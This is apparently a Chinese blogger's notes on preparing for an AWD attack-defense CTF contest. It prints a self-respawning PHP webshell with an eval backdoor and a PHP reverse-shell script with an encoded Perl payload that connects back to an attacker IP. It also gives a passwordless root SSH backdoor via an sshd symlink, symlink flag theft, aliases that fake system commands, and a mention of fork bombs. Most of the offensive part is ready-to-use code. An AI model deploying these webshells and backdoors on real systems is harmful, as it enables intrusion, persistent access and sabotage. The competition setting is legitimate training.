AWD 赛前准备与赛后小结
不死马的利用与删除
首先学习的就是不死马,因为它比较经典吧。
密码为 md5 加密过的为 m0re666,然后传入参数。
假设已经上传不死马。
首先,利用方式为,先访问一下,一般是 upload 文件夹有上传权限,所以一般放这里,访问
http://xxx.xxx.xxx.xxx:/upload/header.php
访问执行后,不死马开始起作用了,直接访问:
http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system('cat /flag');
得到 flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。
变种不死马
1 <?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.login.php';$file1 = '-header.php';$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';while (1){ file_put_contents($file,$code); //system('touch -m -d "2018-12-01 09:10:12" .login.php'); file_put_contents($file1,$code); usleep(5000);}?>#passwd=m0re666&m0re=system('cat /flag');
这个变种的,它的不同点在文件名,是 -
开头的,这里介绍一下这个比较骚的知识点。
-
开头的文件名,因为在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开启 docker 进行尝试
杀掉不死马
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
通过条件竞争查杀
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
具体的其他杀不死马的方式还有很多,不列举了。
反弹 shell
如下是一个可以反弹 shell 的 php 脚本:
<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif (function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif (function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cfe, "r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname, $text) { if($fp = @fopen($fname, 'w')) { @fputs($fp, @base64_decode($text)); @fclose($fp); } }$yourip = "xxx.xxx.xxx.xxx";$yourport = '1024';$usedb = array('perl'=>'perl','c'=>'c');$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";cf('/tmp/.bc',$back_connect);$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");?>
使用方法也是很简单,将 shell 文件上传至可访问的地方
开启 nc 监听
nc -l -vv [port] #这里是 1024,可以自己设置
然后访问该文件,就成功反弹 shell
效果如下:
然后记个小 tip:美化终端,不过还是别花时间做这个了,虽然就一条命令。
python -c "import pty; pty.spawn('/bin/bash')"
小 Trick: 使用 find / -name *flag*
或 grep -rn "flag" *
类似的语句可以快速发现 flag 所在的地方,方便后续拿分。
软链接
可以创建个软链接,链接到根目录下 flag
ln -s /flag /var/www/html/upload/footer.js
这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的 upload 文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。
然后直接 cat upload
文件夹下的 footer.js
就可以得到 flag
也可以直接访问 upload/footer.js
得到 flag 如下:
第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个 flag 链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。
ssh 免密登录(未尝试)
在终端执行此命令,然后可以实现 ssh 免密登陆
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
连接:
ssh root@x.x.x.x -p 5555
密码随意。
其他
alias 命令,命令文档。
怎么说,就是看利用方式
root 权限怎么会没权限?别人进来也无法 cat 到 flag,当然还可以使用其他办法查看。
还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。
crontab -r
alias crontab="echo no crontab for `whoami` ||"
#返回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
主机发现
比赛可能会告诉你其他队伍的 IP,也可能不会告诉你,一般在同一个 C 段或者 B 段,因此需要首先利用 nmap
、httpscan
等扫描工具发现其他队伍的 IP。
nmap:
nmap –sn 192.168.71.0/24
httpscan
./httpscan.py 10.20.30.0/24 –t 10
修改 curl 命令
alias curl='echo fuckoff' #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降权,取消执行权限(权限要求较高)
关闭不必要端口
netstat -napt 查看当前网络连接状态
lsof -i 用以显示符合条件的进程情况
lsof -i:22 查看22端口现在运行什么程序
kill -9 <PID> 杀掉进程
nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)
批量提交 flag 的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。
赛后
吐槽:真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。
赛题复现
dump 下来 html 源码,使用 D 盾扫描
发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如 fock 炸弹等……
接下来就是 Seay 源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。
然后根据漏洞进行验证就可以了。
总结
AWD 的话,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的
如果,批量没实现,就尝试一个个的上传吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。